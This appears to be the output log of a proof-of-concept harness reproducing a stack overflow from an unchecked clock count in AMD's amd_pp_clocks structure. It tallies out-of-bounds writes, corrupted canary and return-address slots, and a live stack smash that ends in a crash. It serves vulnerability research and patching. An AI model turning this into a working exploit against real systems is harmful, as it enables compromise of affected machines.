DF-3684 / run.2.log
sizeof(amd_pp_clocks)=132, dep->count=255, max array elems=16 caller frame offsets: pp_clks@0 validation_clks@132 canary@144 retaddr@152 first OOB clock[] index: 16 (offset +0 bytes past array end) OOB u32 writes past clock[16] and latency[16]: 239 each (956 bytes each) bytes written past end of amd_pp_clocks struct: 892 validation_clks.engine_max_clock corrupted to: 0x1b7740 caller-frame canary: 0x1cfde0001c9c38 (expected 0x4141414141414141) return-address model slot: 0x1dc130001d5f88 (expected 0xdeadbeef00000000) RESULT: STACK OVERFLOW CONFIRMED (phase 1 accounting) - clock values written past amd_pp_clocks into adjacent caller stack locals; phase 2 now performs the smash on a live stack frame phase 2: overflowing a real stack-local amd_pp_clocks (marker=5a5a5a5a5a5a5a5a)... exit=139